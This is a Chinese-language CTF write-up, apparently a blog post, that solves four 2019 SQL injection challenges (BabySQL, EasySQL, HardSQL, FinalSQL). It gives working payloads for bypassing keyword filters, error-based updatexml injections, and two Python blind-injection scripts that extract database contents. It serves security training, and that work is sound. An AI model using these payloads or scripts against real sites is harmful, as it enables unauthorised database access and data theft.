[极客大挑战 2019]web部分题解(sql部分已完结,其他部分正在更新,出去吃个饭先)

[极客大挑战 2019]BabySQL

打开环境后有登录界面◕‿◕

一眼注入,后先试试万能密码:

username:admin' or '1'='1
password:1

 GG,出大问题,我就会这一招啊O.o??完结撒花(不是

꒰ঌ( ⌯' '⌯)໒꒱开玩笑的,着看着像是过滤了or后来尝试了一下oorr双写发现也不行,那咱继续注入哈:

尝试输入下正常的union select等语句发现都被过滤了,那接下来把他们都双写看一下:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

看到情况是不报错,是列数不对啊

那就使用二分法一个一个排查,发现列数是3的时候就对了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

后边就简单了,直接附代码了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23 #爆库

 

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
#列出所有库

 

看到了ctf库进去:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere 
 table_name="Flag" %23

 

直接拿数据就好了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

得到Flag:

flag{ea47f9af-b37b-4f94-a04d-c5b249737afe}

[极客大挑战 2019]EasySQL

看到第二题,发现界面没变,还长这样

话不多说,万能密码尝试一下:

username:1
passwd:admin' or '1'='1

啊?直接出?好吧,看来是练手的:

flag{ef920bf4-ed7f-419b-af87-409fa306319a}

[极客大挑战 2019]HardSQL

好,出题人不知悔改,那就让他终身难忘(doge

同样的万能密码起手,能简单来我们就不展开做o.O

username:admin' or '1'=1'
passwd:1

 

好小子,那我可要进去了!

admin
1' order by 3#

?还是这样是吧,那就bp看狙击手模式下你给我过滤了多少字段!

fuzz完发现空格 ,注释符,and,by,=,sleep,/,~等都被过滤了,行,那就进入报错注入环节:

使用()代替空格,使用like代替=,使用^连接函数形成异或

先查表:

admin'or(updatexml(1,concat(0x7e,database()),1))#

 

好小子,漏出马脚了吧,那接下来爆表名:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

 

继续:

admin'or(updatexml(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))%2C1))%23

出敏感字段,结束了,胜负已分( ´◔︎ ‸◔︎`)

admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#

但是只出来左半边?那好说了,左右分开就好了:

admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#

 

flag{de3015f5-b395-4395-86c8-cf2ddf32e801}

[极客大挑战 2019]FinalSQL

最后一个了,小小出题人又会干嘛呢?0.0

 

ok,又是一堆乱七八糟的,挨个点击以后发现在第五个里边说有个id=6

那就修改下id=6:

.

这么一看方向是对的,那接下来分析一下:

测试这个地方是否存在注入,结果发现他有过滤,过滤了空格、星号等特殊符号,但是减号、异或符、除号并未过滤,并且测出此处为数字型注入而非字符型注入。(测试方法:传值1、2-1、1/1、1^0等结果正常显示,而输入3-1则显示“2”的页面)

这样的话,要二分法盲注了,这里给大家直接脚本了,一个大牛的,一个我的:

脚本1:

# -*- coding: utf-8 -*-

import re
import requests
import string
import time

url = "#url+id="
flag = ''


def payload(i, j):
    # 数据库名字
    #sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
    # 表名
    #sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
    # 列名
    #sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
    # 查询flag
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
   # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        #print (f)
        flag += chr(f)
        print(flag)
        time.sleep(0.5)


exp()
print('flag=', flag)

脚本2:

import requests
url = "http://5cb9bdd9-00e4-4fcd-a9b3-872e7fe61aa7.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
    low = 32
    high = 127
    while low < high:
        mid = (low+high)//2
        # 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
        # 查数据库
        # database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
        # 查表
        # tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
        # columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
        data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
        print(chr(mid))
        # 根据需要查询的内容改变get中的参数
        r = requests.get(url=url+data)
        # print(url+database)
        # print(payload1)
        # print(r.raw)
        if 'Click' in r.text:
            low = mid + 1
        else:
            high = mid
        # print(low,mid,high)
    flag += chr(low)
    print(flag)

切记!不要为了速度把sleep删了!!!!!网页会响应不过来!

得到flag:

flag{4184bf22-51f1-4f03-a6f1-53f1734a5fb6}

 

热门相关:最强神话帝皇   永恒王权   美女总裁之贴身高手   首席的强娶豪夺:离婚365次   全民女神,重生腹黑千金